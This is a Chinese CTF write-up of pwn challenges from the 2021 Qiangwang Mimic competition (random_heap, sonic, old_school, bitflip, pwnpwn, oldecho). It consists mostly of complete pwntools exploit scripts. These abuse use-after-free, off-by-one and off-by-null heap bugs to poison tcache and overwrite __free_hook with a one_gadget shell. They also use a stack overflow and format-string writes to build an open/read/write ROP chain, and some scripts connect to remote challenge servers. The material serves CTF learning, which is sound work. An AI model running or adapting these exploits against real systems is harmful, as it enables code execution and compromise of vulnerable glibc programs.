天天看點

2021第四屆強網拟态PWN-wp

random_heap

原本以為這題是控随機數,因為之前做過一個題目是控随機數的,賽後仔細想想這兩道題都不一樣,浪費了很多時間,導緻比賽的時候沒做出來。

暴力直接把tcache填滿,因為有UAF,可以洩露出unsorted bin裡面的

main_arena

,當然有臉黑的時候沒有放入unsorted bin,那就重新運作直到洩露出位址。在代碼裡記下unsorted bin的下标,然後改tcache的fd指針,遇到unsorted bin的時候跳過,不要修改到它,要不然直接報錯了。最後再全部申請回來,這時候肯定是會申請到目的位址的,然後再寫入one_gadget

from pwn import *
from pwn import p64,u64,p32,u32,p8
from ctypes import *

# dll = cdll.LoadLibrary("/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
# libc = cdll.LoadLibrary("/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
# seed = libc.rand()

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./random_heap')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')

io = process('random_heap')
def add(idx,size=0):
    io.sendlineafter('Your choice: ', '1')
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Size: ', str(size))

def delete(idx):
    io.sendlineafter('Your choice: ', '4')
    io.sendlineafter('Index: ', str(idx))

def edit(idx,content):
    io.sendlineafter('Your choice: ', '2')
    io.sendlineafter('Index: ', str(idx))
    io.sendafter('Content: ', content)

def show(idx):
    io.sendlineafter('Your choice: ', '3')
    io.sendlineafter('Index: ', str(idx))

def recv():
     leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
     return leak

for i in range(64):
    add(i,0x100)

idx = 0
for i in range(64):
    delete(i)
    show(i)
    io.recvuntil('Content: ')
    leak = u64(io.recv(6).ljust(8,b'\x00'))
    if (leak >> 40)==0x7f:
        idx = i
        break
    else:
        continue

show(idx)
leak = recv()
info(hex(leak))

libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
info(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
info(hex(free_hook))

for i in range(64):
    if i == idx:
        continue
    else:
        edit(i,p64(free_hook))

for i in range(64):
    add(i,0x100)

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4f432
for i in range(64):
    edit(i,p64(one_gadget))

delete(0)
# gdb.attach(io, 'x/30xg $rebase(0x202260)')

io.interactive()

           

sonic

棧溢出簽到題(本地沒裝cli是以不會得到flag,直接打遠端)

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./sonic')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('')
nologin = 0x73a

# io = process('./sonic')
io = remote('123.60.63.90','6889')

def exp():
    io.recvuntil('main Address=')
    elf_base = eval(io.recv(14)) - 0x7cf
    info(hex(elf_base))

    # io.recvuntil('login:')
    payload = b'a'*0x28+p64(elf_base+nologin)
    # gdb.attach(io)
    io.sendline(payload)

exp()

io.interactive()
           

old_school

off-by-one,堆塊重疊構造tcache attack

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./old_school')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# io = process('./old_school')
io = remote('121.36.194.21','49154')

def add(idx,size):
    io.sendlineafter('Your choice: ','1')
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Size: ', str(size))

def delete(idx):
    io.sendlineafter('Your choice: ','4')
    io.sendlineafter('Index: ', str(idx))

def edit(idx,content):
    io.sendlineafter('Your choice: ','2')
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Content: ', content)

def show(idx):
    io.sendlineafter('Your choice: ','3')
    io.sendlineafter('Index: ', str(idx))

def recv():
     leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
     return leak

for i in range(9):
    add(i,0xa0) #0-8
for i in range(7):
    delete(i)
delete(7)

add(0,0x18)

show(0)
leak = recv()
info(hex(leak))
libc_base = leak - 256 - libc.sym['__malloc_hook']-0x10
info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
info(hex(free_hook))

add(1,0x18)
add(2,0x68) 

delete(2)
edit(0,p64(0)*3+p8(0x91))
delete(1)
add(3,0x88)
edit(3,p64(0)*3+p64(0x71)+p64(free_hook))

add(4,0x68)
add(5,0x68)

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4f432
edit(5,p64(one_gadget))

# gdb.attach(io, 'x/20xg $rebase(0x202160)')
delete(0)

io.interactive()
           

old_school_revenge

還是上面的題把off-by-one改成了off-by-null,構造堆塊重疊然後修改tcache的fd指向

free_hook

from pwn import *
from pwn import p64, u64, p32, u32, p8

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']

# elf = ELF('./old_school')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

io = process('./old_school_revenge')
# io = remote('121.36.194.21', '49154')

def add(idx, size):
    io.sendlineafter('Your choice: ', '1')
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Size: ', str(size))

def delete(idx):
    io.sendlineafter('Your choice: ', '4')
    io.sendlineafter('Index: ', str(idx))

def edit(idx, content):
    io.sendlineafter('Your choice: ', '2')
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Content: ', content)

def show(idx):
    io.sendlineafter('Your choice: ', '3')
    io.sendlineafter('Index: ', str(idx))

def recv():
    leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    return leak

for i in range(7):
    add(i,0xf8)
add(7,0xf8) # chunk 7
add(8,0xf8) # chunk 8
add(9,0xf8) # chunk 9
add(10,0xf8) # chunk 10

for i in range(7):
    delete(i)
delete(7)
edit(8,b'\x00'*0xf0+p64(0x200))  # chunk 9->prev_size = chunk 8 + chunk 7, chunk 9->inuse=0
delete(9)

for i in range(7):
    add(i,0xf8)

add(0x11,0xf8)
show(17)
leak = recv()
info(hex(leak))
libc_base = leak - libc.sym['__malloc_hook'] - 848-0x10
info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
info(hex(free_hook))
add(12,0x60)
delete(12)
edit(8,p64(free_hook))
add(13,0x60)
add(14,0x60)

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4f432
edit(14,p64(one_gadget))
delete(0)

# gdb.attach(io,'x/24xg $rebase(0x202160)')
io.interactive()
           

bitflip

标準的2.27 off-by-one利用,限制申請size不大于0x50,是以需要構造多個chunk來進行合并,然後構造chunk和unsorted bin重疊,申請後修改tcache的fd指針指向

malloc_hook

,tcache不檢查size大小,是以可以直接申請成功,然後寫入one_gadget

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./bitflip')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

io = process('./bitflip')

def add(idx,size): # size<=0x50
    io.sendlineafter('Your choice: ','1')
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Size: ', str(size))

def delete(idx):
    io.sendlineafter('Your choice: ','4')
    io.sendlineafter('Index: ', str(idx))

def edit(idx,content):
    io.sendlineafter('Your choice: ','2')
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Content: ', content)

def show(idx):
    io.sendlineafter('Your choice: ','3')
    io.sendlineafter('Index: ', str(idx))

def chance(addr):
    io.sendlineafter('Your choice: ',str(0x666))
    io.sendlineafter('Address: ',str(addr))

def recv():
     leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
     return leak

for i in range(16):
    add(i,0x48)
for i in range(8):
    edit(i,b'\x00'*0x48+p8(0xa1))
for i in range(1,8):
    delete(i)

edit(8,b'\x00'*0x48+p8(0xa1))
delete(9)
add(9,0x48)
edit(9,b'\x00'*0x48+p8(0x61))
show(10)
leak = recv()
libc_base =leak - 96 - 0x10 -  libc.sym['__malloc_hook']
info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
info(hex(free_hook))
add(1,0x50)
delete(10)
# chance(malloc_hook-0x20)  # _IO_wide_data_0+30 =  0x00007ffff7dc9d60 -> 0x00007ffff7dc9d61
edit(1,p64(free_hook))
add(2,0x50)
add(3,0x50)
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
one_gadget = libc_base + 0x4f432
edit(3,p64(one_gadget))
delete(0)
# gdb.attach(io,'x/30xg $rebase(0x202160)')

io.interactive()
           

pwnpwn

格式化字元串漏洞,程式中有後門函數,需要自己寫入參數,利用後門函數中的片段彙編代碼即可,過程中需要注意位元組對齊

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./pwnpwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

io = process('./pwnpwn')

def exp():
    io.recvuntil('welcome to mimic world,try something\n')
    io.sendline(str(1))
    io.recvuntil('let us give you some trick\n')

    leak = eval(io.recv(14))
    info(hex(leak))

    elf_base = leak - 0x9b9
    info(hex(elf_base))

    io.sendline(str(2))

    io.sendlineafter('hello','%22$p')
    io.recvuntil('\n')
    rbp = eval(io.recv(14))
    info(hex(rbp))

    shell = 0x94A + elf_base

    ret_addr = rbp - 0x28

    io.sendline(str(2))
    p = b'a'+fmtstr_payload(8,{ret_addr:shell},write_size='short')
    io.send(p)
    p = fmtstr_payload(8,{ret_addr+0x18-2:0x6873},write_size='short')
    # gdb.attach(io,'b *$rebase(0x9f6)')
    io.send(p)

exp()

io.interactive()

           

bornote

2.31的off by null,暫時還不會,複現了再貼

oldecho

這題是複現的,思路是用格式化字元串漏洞,修改stdout結構中的

_fileno

_IO_write_base

還有

_flags

,重新打開輸出流,洩露位址後,再用格式化字元串漏洞修改傳回位址,利用libc gadget構造ROP鍊。這個方法成功率極低,即

__libc_start_main+240

需要修改為

stdout

的位址,我在本地不開ASLR的情況下可以拿到flag,開了ASLR估計難了。這題如果有更好的方法希望各位師傅教教我。exp也有優化空間,之後自己應該會寫個子產品專門做這種格式化字元串構造ROP鍊的。

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./oldecho')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

io = process('./oldecho')

# 這個方法太蠢了,爆破幾率極低,思路就是修改傳回位址低位,改成libc裡面的gadget,構造pop鍊orw,
# 由于gadget需要修改一個半位元組,被迫修改兩位元組,是以每次使用到正确gadget幾率下降,也記錄一下過程(沒寫完就放棄這種方法了)
def exp():
    '''
    0x7ffff77e182d <__libc_start_main+221>:      mov    rsi,QWORD PTR [rsp+0x8]
    0x7ffff77e1832 <__libc_start_main+226>:      mov    edi,DWORD PTR [rsp+0x14]
    0x7ffff77e1836 <__libc_start_main+230>:      mov    rdx,QWORD PTR [rax]
    0x7ffff77e1839 <__libc_start_main+233>:      mov    rax,QWORD PTR [rsp+0x18]
    0x7ffff77e183e <__libc_start_main+238>:      call   rax
    0x7ffff77e1840 <__libc_start_main+240>:      mov    edi,eax
    0x7ffff77e1842 <__libc_start_main+242>:      call   0x7ffff77fb040 <__GI_exit>

    '''

    '''
      0x7ffff77e1e71 <iconv_open+609>:     pop    rbx
      0x7ffff77e1e72 <iconv_open+610>:     pop    r12
      0x7ffff77e1e74 <iconv_open+612>:     pop    r13
      0x7ffff77e1e76 <iconv_open+614>:     pop    r14
      0x7ffff77e1e78 <iconv_open+616>:     pop    r15
      0x7ffff77e1e7a <iconv_open+618>:     pop    rbp
      0x7ffff77e1e7b <iconv_open+619>:     ret
    '''

    '''
    0x7ffff77e1e79 <iconv_open+617>:     pop    rdi
      0x7ffff77e1e7a <iconv_open+618>:     pop    rbp
      0x7ffff77e1e7b <iconv_open+619>:     ret
    '''
    '''
      0x7ffff77e1e77 <iconv_open+615>:     pop    rsi
      0x7ffff77e1e78 <iconv_open+616>:     pop    r15
      0x7ffff77e1e7a <iconv_open+618>:     pop    rbp
      0x7ffff77e1e7b <iconv_open+619>:     ret
    '''

    io.recvuntil('Gift: ')
    stack = eval(io.recv(14))
    info(hex(stack))

    ret_addr = stack + 0x10+0x10
    open_rsi = stack + 0x78
    open_rdi = stack + 0x80
 
    # 寫入字元串 ‘r’
    payload = '%'+str(open_rsi & 0xff)+'c%6$hhn' 
    io.sendline(payload)
    payload = '%'+str(0x72)+'c%10$hn' 
    io.sendline(payload)

    # 寫字元串 ‘flag’
    payload = '%'+str(open_rdi & 0xff)+'c%6$hhn' 
    io.sendline(payload)
    payload = '%'+str(ord('f'))+'c%10$hhn'
    io.sendline(payload)
    payload = '%'+str(open_rdi+1 & 0xff)+'c%6$hhn' 
    io.sendline(payload)
    payload = '%'+str(ord('l'))+'c%10$hhn' 
    io.sendline(payload)
    payload = '%'+str(open_rdi+2 & 0xff)+'c%6$hhn' 
    io.sendline(payload)
    payload = '%'+str(ord('a'))+'c%10$hhn' 
    io.sendline(payload)
    payload = '%'+str(open_rdi+3 & 0xff)+'c%6$hhn' 
    io.sendline(payload)
    payload = '%'+str(ord('g'))+'c%10$hn' 
    io.sendline(payload)
    

    gdb.attach(io)

    payload = '%'+str(ret_addr & 0xff)+'c%6$hhn' 
    io.sendline(payload)
    payload = '%' + str(0x1839) + 'c%10$hn' 
    io.sendline(payload)
    io.sendline('Bye~')

def fmt_func(target,value):
  payload = '%'+str(target)+'c%6$hhn'
  io.sendline(payload)
  payload = '%'+str(value)+'c%10$hhn'
  io.sendline(payload)

def exp2():
  io.recvuntil('Gift: ')
  stack = eval(io.recv(14))
  info(hex(stack))

  stdout_fileno = stack - 0x8477c58 # 就爆破這個位址
  stdout_flags = stdout_fileno - 0x70
  io_write_base = stdout_flags + 0x20

  # 爆破位址,修改stdout->_fileno
  for i in range(4):
    fmt_func((stack + 0x30 + i) & 0xff , (stdout_fileno >> (8*i)) & 0xff)
  payload = '%'+str(2)+'c%15$hhn'
  io.sendline(payload)

  # 改stdout->_flags為0xfbad3887洩露libc
  fmt_func((stack + 0x30) & 0xff, stdout_flags & 0xff)
  payload = '%'+str(0x1887)+'c%15$hn'
  io.sendline(payload)

  # 改write base最低位為0
  fmt_func((stack + 0x30) & 0xff, io_write_base & 0xff)
  payload = '%15$hhn'
  io.sendline(payload)

  # 觸發stdout,洩露libc位址
  io.sendline('1'*0x10)

  leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  libc_base = leak - libc.sym['_IO_file_jumps']

  prdi = libc_base + 0x0000000000021112 #: pop rdi ; ret
  prsi = libc_base + 0x00000000000202f8 #: pop rsi ; ret
  prdx = libc_base + 0x0000000000001b92 #: pop rdx ; ret

  o_func = libc_base + libc.sym['open']
  r_func = libc_base + libc.sym['read']
  w_func = libc_base + libc.sym['write']
  info(hex(o_func))
  info(hex(r_func))
  info(hex(w_func))
  
  open_rdx = stack + 0xf0
  open_rsi = stack + 0xf8
  open_rdi = stack + 0x100

  # 寫入open第二個參數
  payload = '%'+str(open_rsi  & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%'+str(ord('r'))+'c%10$hn'
  io.sendline(payload)

  # 寫入open第一個參數
  fmt_func((open_rdi+0) & 0xff,ord('f'))
  fmt_func((open_rdi+1) & 0xff,ord('l'))
  fmt_func((open_rdi+2) & 0xff,ord('a'))
  payload = '%'+str((open_rdi+3)  & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%'+str(ord('g'))+'c%10$hn'
  io.sendline(payload)

  ret_addr = stack + 0x20

  # 傳回位址改為prdi
  for i in range(3):
    fmt_func((ret_addr + i) & 0xff, (prdi >> (8 * i) & 0xff))
  
  # rdi
  for i in range(6):
    fmt_func((ret_addr + 8 + i) & 0xff, (open_rdi >> (8 * i) & 0xff))

  # prsi
  for i in range(6):
    fmt_func((ret_addr + 0x10 + i) & 0xff, (prsi >> (8 * i) & 0xff))

  # rsi
  payload = '%'+str((ret_addr + 0x18) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$n'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x18 + 4) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$n'
  io.sendline(payload)

  # prdx 
  for i in range(6):
    fmt_func((ret_addr + 0x20 + i) & 0xff, (prdx >> (8 * i) & 0xff))

  # rdx 為0
  payload = '%'+str((ret_addr + 0x28) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$n'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x28 + 8) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$n'
  io.sendline(payload)

  # open
  for i in range(6):
    fmt_func((ret_addr + 0x30 + i) & 0xff, (o_func >> (8 * i) & 0xff))

  # 處理高位的0
  payload = '%'+str((ret_addr + 0x30 + 6) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x30 + 7) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)

  # prdi
  for i in range(6):
    fmt_func((ret_addr + 0x38 + i) & 0xff, (prdi >> (8 * i) & 0xff))
  payload = '%'+str((ret_addr + 0x38 + 6) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x38 + 7) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)

  # read rdi
  payload = '%'+str((ret_addr + 0x40) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%1c%10$n'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x40 + 4) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$n'
  io.sendline(payload)

  # prsi
  for i in range(6):
    fmt_func((ret_addr + 0x48 + i) & 0xff, (prsi >> (8 * i) & 0xff))
  
  # read rsi
  rsi = stack + 0x100
  for i in range(6):
    fmt_func((ret_addr + 0x50 + i) & 0xff, (rsi >> (8 * i) & 0xff))

  # prdx
  for i in range(6):
    fmt_func((ret_addr + 0x58 + i) & 0xff, (prdx >> (8 * i) & 0xff))
  # 處理高位的0
  payload = '%'+str((ret_addr + 0x58 + 6) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x58 + 7) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)

  # read rdx
  payload = '%'+str((ret_addr + 0x60) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%100c%10$n'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x60 + 4) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$n'
  io.sendline(payload)

  # read函數
  for i in range(6):
    fmt_func((ret_addr + 0x68 + i) & 0xff, (r_func >> (8 * i) & 0xff))
  

  # prdi
  for i in range(6):
    fmt_func((ret_addr + 0x70 + i) & 0xff, (prdi >> (8 * i) & 0xff))
  payload = '%'+str((ret_addr + 0x70 + 6) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x70 + 7) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$hn'
  io.sendline(payload)

  # rdi
  payload = '%'+str((ret_addr + 0x78) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%2c%10$n'
  io.sendline(payload)
  payload = '%'+str((ret_addr + 0x78 + 4) & 0xff)+'c%6$hhn'
  io.sendline(payload)
  payload = '%10$n'
  io.sendline(payload)

  # write函數,參數用上面read函數的,除了改rdi,其他沒變
  for i in range(6):
    fmt_func((ret_addr + 0x80 + i) & 0xff, (w_func >> (8 * i) & 0xff))
 
  
  # gdb.attach(io)
  io.sendline('Bye~')

exp2()

io.interactive()
           
2021第四屆強網拟态PWN-wp
PWN
上一篇: per-cpu
下一篇: 2021能源PWN wp